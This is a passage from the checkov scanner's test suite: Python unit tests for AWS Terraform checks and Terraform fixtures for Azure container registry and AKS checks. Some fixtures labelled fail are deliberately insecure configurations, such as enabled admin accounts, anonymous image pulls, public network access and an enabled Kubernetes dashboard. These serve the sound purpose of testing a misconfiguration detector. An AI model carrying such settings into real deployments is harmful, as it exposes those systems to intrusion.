"aws_sfn_state_machine.XrayDefault" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SubnetPublicIP.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.SubnetPublicIP import check from checkov.common.models.enums import CheckResult class TestSubnetPublicIP(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_subnet" "test" { vpc_id = aws_vpc.main.id cidr_block = "10.0.1.0/24" map_public_ip_on_launch = true } """) resource_conf = hcl_res['resource'][0]['aws_subnet']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_subnet" "test" { vpc_id = aws_vpc.main.id cidr_block = "10.0.1.0/24" } """) resource_conf = hcl_res['resource'][0]['aws_subnet']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_implicit(self): hcl_res = hcl2.loads(""" resource "aws_subnet" "test" { vpc_id = aws_vpc.main.id cidr_block = "10.0.1.0/24" map_public_ip_on_launch = false } """) resource_conf = hcl_res['resource'][0]['aws_subnet']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_TimestreamDatabaseKMSKey.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.TimestreamDatabaseKMSKey import check from checkov.terraform.runner import Runner class TestTimestreamDatabaseKMSKey(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_TimestreamDatabaseKMSKey" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_timestreamwrite_database.enabled", } failing_resources = { "aws_timestreamwrite_database.default", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_TransferServerAllowsOnlySecureProtocols.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.TransferServerAllowsOnlySecureProtocols import check from checkov.terraform.runner import Runner class TestTransferServerAllowsOnlySecureProtocols(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_TransferServerAllowsOnlySecureProtocols" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_transfer_server.stfp", "aws_transfer_server.default", } failing_resources = { "aws_transfer_server.ftp", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_TransferServerIsPublic.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.TransferServerIsPublic import check from checkov.terraform.runner import Runner class TestBackupVaultEncrypted(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_TransferServerIsPublic" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_transfer_server.example_vpc", } failing_resources = { "aws_transfer_server.example_public", "aws_transfer_server.example", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_TransferServerLatestPolicy.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.TransferServerLatestPolicy import check from checkov.terraform.runner import Runner class TestTransferServerLatestPolicy(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_TransferServerLatestPolicy" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_transfer_server.pass_new", "aws_transfer_server.pass_fips", } failing_resources = { "aws_transfer_server.fail_old", "aws_transfer_server.fail_old_fips", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_UnpatchedAuroraPostgresDB.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.UnpatchedAuroraPostgresDB import check from checkov.terraform.runner import Runner class TestUnpatchedAuroraPostgresDB(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_UnpatchedAuroraPostgresDB" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_db_instance.pass", } failing_resources = { "aws_db_instance.fail1", "aws_db_instance.fail2" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_VPCDefaultNetwork.py ================================================ import unittest import hcl2 from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.aws.VPCDefaultNetwork import check class TestDefaultVPC(unittest.TestCase): def test_failure(self): """ When there is a resource with aws_default_vpc, it should fail whatever the config is. """ hcl_res = hcl2.loads(""" resource "aws_default_vpc" "default" { tags = { Name = "Default VPC" } } """) resource_conf = hcl_res['resource'][0]['aws_default_vpc']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_config(self): """ There is no success/pass scenario for this resource as we want to avoid the creation of this resource. """ resource_conf = { "enable_dns_support": "true" } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_VPCEndpointAcceptanceConfigured.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.VPCEndpointAcceptanceConfigured import check from checkov.common.models.enums import CheckResult class TestVPCEndpointAcceptanceConfigured(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_vpc_endpoint_service" "example" { acceptance_required = false network_load_balancer_arns = [aws_lb.example.arn] } """) resource_conf = hcl_res['resource'][0]['aws_vpc_endpoint_service']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_vpc_endpoint_service" "example" { acceptance_required = true network_load_balancer_arns = [aws_lb.example.arn] } """) resource_conf = hcl_res['resource'][0]['aws_vpc_endpoint_service']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_WAFACLCVE202144228.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.WAFACLCVE202144228 import check from checkov.terraform.runner import Runner class TestWafHasAnyRules(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_WAFACLCVE202144228" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_wafv2_web_acl.pass", "aws_wafv2_web_acl.multi_rules", "aws_wafv2_web_acl.pass_dynamic" } failing_resources = { "aws_wafv2_web_acl.no_rule", "aws_wafv2_web_acl.wrong_rule", "aws_wafv2_web_acl.rule_count", "aws_wafv2_web_acl.rule_group_count", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_WAFEnabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.WAFEnabled import check from checkov.terraform.runner import Runner class TestWAFEnabled(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_WAFEnabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_cloudfront_distribution.pass", } failing_resources = { "aws_cloudfront_distribution.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_WAFHasAnyRules.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.WAFHasAnyRules import check from checkov.terraform.runner import Runner class TestWafHasAnyRules(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_WafHasAnyRules" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_waf_web_acl.pass", 'aws_wafv2_web_acl.pass', 'aws_wafregional_web_acl.pass', } failing_resources = { "aws_waf_web_acl.fail", "aws_waf_web_acl.fail2", 'aws_wafv2_web_acl.fail', 'aws_wafv2_web_acl.fail2', 'aws_wafregional_web_acl.fail', 'aws_wafregional_web_acl.fail2', } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 6) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_WAFHasLogs.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.WAFHasLogs import check from checkov.terraform.runner import Runner class TestWAFHasLogs(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_WAFHasLogs" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_waf_web_acl.pass", 'aws_wafregional_web_acl.pass', } failing_resources = { "aws_waf_web_acl.fail", 'aws_wafregional_web_acl.fail', } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_WAFRuleHasAnyActions.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.WAFRuleHasAnyActions import check from checkov.terraform.runner import Runner class TestWAFRuleHasAnyActions(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_WAFRuleHasAnyActions" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_waf_web_acl.pass", 'aws_wafv2_web_acl.pass', 'aws_wafregional_web_acl.pass', 'aws_wafregional_web_acl.pass2', 'aws_wafregional_web_acl.pass3', 'aws_wafv2_rule_group.pass', 'aws_wafregional_rule_group.pass', 'aws_waf_rule_group.pass', 'aws_wafv2_web_acl.pass_managed', 'aws_wafv2_web_acl.pass_dynamic' } failing_resources = { "aws_waf_web_acl.fail", 'aws_wafv2_web_acl.fail', 'aws_wafregional_web_acl.fail', 'aws_wafregional_web_acl.fail2', } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_WorkspaceRootVolumeEncrypted.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.WorkspaceRootVolumeEncrypted import check from checkov.terraform.runner import Runner class TestWorkspaceRootVolumeEncrypted(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_WorkspaceRootVolumeEncrypted" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_workspaces_workspace.pass", } failing_resources = { "aws_workspaces_workspace.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_WorkspaceUserVolumeEncrypted.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.WorkspaceUserVolumeEncrypted import check from checkov.terraform.runner import Runner class TestWorkspaceUserVolumeEncrypted(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_WorkspaceUserVolumeEncrypted" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_workspaces_workspace.pass", } failing_resources = { "aws_workspaces_workspace.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/resource/azure/example_ACRAdminAccountDisabled/main.tf ================================================ ## SHOULD PASS: Explicit false resource "azurerm_container_registry" "ckv_unittest_pass" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location admin_enabled = false } ## SHOULD PASS: Default false resource "azurerm_container_registry" "ckv_unittest_pass_2" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location } ## SHOULD FAIL: Explicit true resource "azurerm_container_registry" "ckv_unittest_fail" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location admin_enabled = true } ================================================ FILE: tests/terraform/checks/resource/azure/example_ACRAnonymousPullDisabled/main.tf ================================================ ## SHOULD PASS: Premium tier SKU, explicitly disabled resource "azurerm_container_registry" "ckv_unittest_pass_1" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" anonymous_pull_enabled = false } ## SHOULD PASS: Premium tier SKU, disabled by default resource "azurerm_container_registry" "ckv_unittest_pass_2" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" } ## SHOULD PASS: Standard tier SKU, disabled by default resource "azurerm_container_registry" "ckv_unittest_pass_3" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Standard" } ## SHOULD PASS: Basic tier should be ignored, anonymous_pull_enabled not supported resource "azurerm_container_registry" "ckv_unittest_pass_4" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Basic" anonymous_pull_enabled = true } ## SHOULD PASS: No explicit tier defined scenario should be ignored, as of azurerm v2.96.0 sku defaults to Classic which is unsupported resource "azurerm_container_registry" "ckv_unittest_pass_5" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location anonymous_pull_enabled = true } ## SHOULD PASS: malformed SKU resource "azurerm_container_registry" "ckv_unittest_pass_6" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = [] anonymous_pull_enabled = true } ## SHOULD FAIL: Premium tier, explicitly enabled resource "azurerm_container_registry" "ckv_unittest_fail_1" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" anonymous_pull_enabled = true } ## SHOULD FAIL: Standard tier, explicitly enabled resource "azurerm_container_registry" "ckv_unittest_fail_2" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Standard" anonymous_pull_enabled = true } ================================================ FILE: tests/terraform/checks/resource/azure/example_ACRContainerScanEnabled/main.tf ================================================ resource "azurerm_container_registry" "pass" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" } resource "azurerm_container_registry" "pass2" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Standard" } resource "azurerm_container_registry" "fail" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Basic" } ================================================ FILE: tests/terraform/checks/resource/azure/example_ACRDedicatedDataEndpointEnabled/main.tf ================================================ resource "azurerm_container_registry" "pass" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" anonymous_pull_enabled = false data_endpoint_enabled = true } resource "azurerm_container_registry" "fail" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" } resource "azurerm_container_registry" "fail2" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Standard" data_endpoint_enabled = false } ================================================ FILE: tests/terraform/checks/resource/azure/example_ACREnableImageQuarantine/main.tf ================================================ resource "azurerm_container_registry" "pass" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" anonymous_pull_enabled = false quarantine_policy_enabled = true } resource "azurerm_container_registry" "fail" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" } resource "azurerm_container_registry" "fail2" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Standard" quarantine_policy_enabled = false } ================================================ FILE: tests/terraform/checks/resource/azure/example_ACREnableRetentionPolicy/main.tf ================================================ resource "azurerm_container_registry" "pass_old" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" anonymous_pull_enabled = false quarantine_policy_enabled = true retention_policy { enabled = true } } resource "azurerm_container_registry" "pass_new" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" anonymous_pull_enabled = false quarantine_policy_enabled = true retention_policy_in_days = 7 } resource "azurerm_container_registry" "fail_old" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" anonymous_pull_enabled = false quarantine_policy_enabled = true retention_policy { enabled = false } } resource "azurerm_container_registry" "fail" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" } ================================================ FILE: tests/terraform/checks/resource/azure/example_ACREnableZoneRedundancy/main.tf ================================================ resource "azurerm_container_registry" "pass" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Premium" zone_redundancy_enabled = true } resource "azurerm_container_registry" "pass2" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Premium" zone_redundancy_enabled = true georeplications { location = "East US" zone_redundancy_enabled = true } georeplications { location = "North Europe" zone_redundancy_enabled = true } } resource "azurerm_container_registry" "fail" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Premium" } resource "azurerm_container_registry" "fail2" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Premium" zone_redundancy_enabled = false } resource "azurerm_container_registry" "fail3" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Premium" zone_redundancy_enabled = true georeplications { location = "East US" } georeplications { location = "North Europe" zone_redundancy_enabled = true } } ================================================ FILE: tests/terraform/checks/resource/azure/example_ACRGeoreplicated/main.tf ================================================ resource "azurerm_container_registry" "fail" { name = var.acr.name resource_group_name = var.acr.resource_group_name location = var.acr.location sku = "Basic" anonymous_pull_enabled = var.anonymous_pull_enabled trust_policy_enabled = var.trust_policy_enabled public_network_access_enabled = var.public_network_access dynamic "georeplications" { for_each = var.replications content { location = georeplications.value["location"] regional_endpoint_enabled = georeplications.value["regional_endpoint_enabled"] zone_redundancy_enabled = georeplications.value["zone_redundancy_enabled"] tags = georeplications.value["tags"] } } } resource "azurerm_container_registry" "fail2" { name = var.acr.name resource_group_name = var.acr.resource_group_name location = var.acr.location anonymous_pull_enabled = var.anonymous_pull_enabled trust_policy_enabled = var.trust_policy_enabled public_network_access_enabled = var.public_network_access dynamic "georeplications" { for_each = var.replications content { location = georeplications.value["location"] regional_endpoint_enabled = georeplications.value["regional_endpoint_enabled"] zone_redundancy_enabled = georeplications.value["zone_redundancy_enabled"] tags = georeplications.value["tags"] } } } resource "azurerm_container_registry" "fail3" { name = var.acr.name resource_group_name = var.acr.resource_group_name location = var.acr.location anonymous_pull_enabled = var.anonymous_pull_enabled trust_policy_enabled = var.trust_policy_enabled sku = "Premium" public_network_access_enabled = var.public_network_access } resource "azurerm_container_registry" "pass" { name = var.acr.name resource_group_name = var.acr.resource_group_name location = var.acr.location anonymous_pull_enabled = var.anonymous_pull_enabled trust_policy_enabled = var.trust_policy_enabled sku = "Premium" public_network_access_enabled = var.public_network_access georeplications { location = var.georeplications.value["location"] regional_endpoint_enabled = var.georeplications.value["regional_endpoint_enabled"] zone_redundancy_enabled = var.georeplications.value["zone_redundancy_enabled"] tags = var.georeplications.value["tags"] } } ================================================ FILE: tests/terraform/checks/resource/azure/example_ACRPublicNetworkAccessDisabled/main.tf ================================================ ## SHOULD PASS: Explicitly set to false resource "azurerm_container_registry" "ckv_unittest_pass" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location public_network_access_enabled = false } ## SHOULD FAIL: Explicitly set to true resource "azurerm_container_registry" "ckv_unittest_fail" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location public_network_access_enabled = true } ## SHOULD FAIL: Not set, default is true resource "azurerm_container_registry" "ckv_unittest_fail_2" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location } ================================================ FILE: tests/terraform/checks/resource/azure/example_ACRUseSignedImages/main.tf ================================================ resource "azurerm_container_registry" "pass_new" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" anonymous_pull_enabled = false trust_policy_enabled = true } resource "azurerm_container_registry" "pass_old" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" anonymous_pull_enabled = false trust_policy { enabled = true } } resource "azurerm_container_registry" "fail" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Premium" } resource "azurerm_container_registry" "fail2_new" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Standard" trust_policy_enabled = false } resource "azurerm_container_registry" "fail2_old" { name = "containerRegistry1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location sku = "Standard" trust_policy { enabled = false } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AKSApiServerAuthorizedIpRanges/main.tf ================================================ # pass resource "azurerm_kubernetes_cluster" "enabled" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" dns_prefix = "example" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } api_server_authorized_ip_ranges = ["192.168.0.0/16"] } resource "azurerm_kubernetes_cluster" "private" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" dns_prefix = "example" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } private_cluster_enabled = true } resource "azurerm_kubernetes_cluster" "version_3_39" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" dns_prefix = "example" api_server_access_profile { authorized_ip_ranges = ["192.168.0.0/16"] } } # fail resource "azurerm_kubernetes_cluster" "default" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" dns_prefix = "example" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } } resource "azurerm_kubernetes_cluster" "empty" { name = "example" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" dns_prefix = "example" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } api_server_authorized_ip_ranges = [] } ================================================ FILE: tests/terraform/checks/resource/azure/example_AKSDashboardDisabled/main.tf ================================================ resource "azurerm_kubernetes_cluster" "pass2" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } role_based_access_control { enabled = false } addon_profile { kube_dashboard { enabled = false } } network_profile { network_plugin = "azure" network_policy = "azure" } tags = { "Environment" : "Production" } } resource "azurerm_kubernetes_cluster" "fail2" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } addon_profile { kube_dashboard { enabled = true } } } resource "azurerm_kubernetes_cluster" "fail" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } api_server_authorized_ip_ranges = ["192.168.0.0/16"] tags = { "Environment" : "Production" } addon_profile { kube_dashboard { enabled = true } oms_agent { enabled = true } } } resource "azurerm_kubernetes_cluster" "pass" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } role_based_access_control { enabled = true } network_profile { network_plugin = "azure" } tags = { "Environment" = "Production" } } resource "azurerm_resource_group" "example" { name = "example" location = "uksouth" } provider 